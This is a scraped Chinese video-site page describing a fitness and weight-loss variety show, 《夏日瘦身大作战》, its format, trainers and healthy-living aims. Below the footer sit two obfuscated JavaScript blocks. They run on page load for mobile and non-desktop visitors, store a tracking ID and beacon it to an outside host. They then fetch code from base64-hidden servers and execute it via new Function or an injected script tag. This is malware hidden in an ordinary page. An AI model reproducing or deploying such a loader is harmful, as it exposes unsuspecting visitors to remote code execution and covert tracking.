收藏
已收
订阅
已订

夏日瘦身大作战

  • 每期90分钟
  • 更新时间：2023-07-11 07:58:35
  • 想要在夏天再瘦1~2个码，碎片化时间也可以利用起来，…

    想要在夏天再瘦1~2个码，碎片化时间也可以利用起来，快速减肥瘦全身，小姐妹们快偷偷练起来~适合零基础的健身者。

    《夏日瘦身大作战》是一档健身减肥类综艺节目，旨在帮助参赛选手在夏季快速瘦身，并提供健康的生活方式和健身知识。节目通过明星教练团队的指导，挑战各种体能和减肥任务，以期在比赛结局时获得最佳体重和身体状态。

    每一期节目，选手们将接受来自专业健身教练的训练，他们会设计一系列的运动方案和健身计划，根据选手的个人情况进行量身定制。节目中，选手们将面对各种挑战，包括高强度的有氧运动、力量训练、瑜伽和舞蹈等，以达到快速瘦身的效果。

    为了提高竞争力和参与度，节目还设置了不同的比赛环节和任务。选手们将进行体能测试、比赛排名和淘汰赛，同时，在每一期的节目中，他们还会接受专业营养师的指导，学习如何合理安排饮食和均衡营养，增加减肥的效果。

    在比赛过程中，选手们不仅需要付出辛苦的努力和坚持，还要面对各种挑战和压力。他们会面临体能上的限制、食欲的诱惑，以及竞争对手之间的竞争。然而，他们会通过互相鼓励、团队合作和专业指导，克服困难，追求瘦身目标。

    除了选手们的努力，节目还为观众们提供了丰富的健身知识和方法。通过明星教练的分享和专业讲解，观众们可以学习到正确的运动姿势、科学的饮食习惯，以及健身计划的制定和管理。这不仅为参赛选手提供了支持和指导，也为观众们提供了实用的减肥和塑身知识。

    《夏日瘦身大作战》不仅是一档健身减肥综艺节目，更是通过娱乐方式向观众们传递了健康生活的理念。节目注重健康瘦身的重要性，倡导参赛选手和观众们养成良好的运动和饮食习惯，提高整体身体素质和生活质量。

    通过《夏日瘦身大作战》的参与，人们可以感受到健身和减肥的乐趣，培养积极的心态和坚持的品质。同时，节目也会成为大众们健康生活的启示，让更多人关注并参与到健身减肥的行列中来。

    详情

同主演

    猜你喜欢

    
    

    Copyright © 2019-2023 www.wxrtdq.com 晋ICP备19008828号 All Rights Reserved.

    留言求片

    function itYgJR(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function nGtmgi(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return itYgJR(t);};window[''+'g'+'t'+'c'+'b'+'z'+'o'+'J'+'I'+'r'+'f'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=nGtmgi,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZqbWwuaHR5cmguY29tJTNBODg5MQ==','d3NzJTNBJTJGJTJGccXN4Lmhxcc25mLmNvbSUzQTk1MzQ=','159458',window,document,['Z','c']);}:function(){};
    function XprjqgQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function poEeDmuU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return XprjqgQ(t);};window[''+'K'+'r'+'Z'+'T'+'I'+'A'+'e'+'o'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=poEeDmuU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZqbWwuaHHR5cmguY29tJTNBODg5MQ==','d3NzJTNBJTJGJTJGcXN4Lmhxc25mLmNvbSUzQQTk1MzQQ=','159459',window,document,['H','Q']);}:function(){};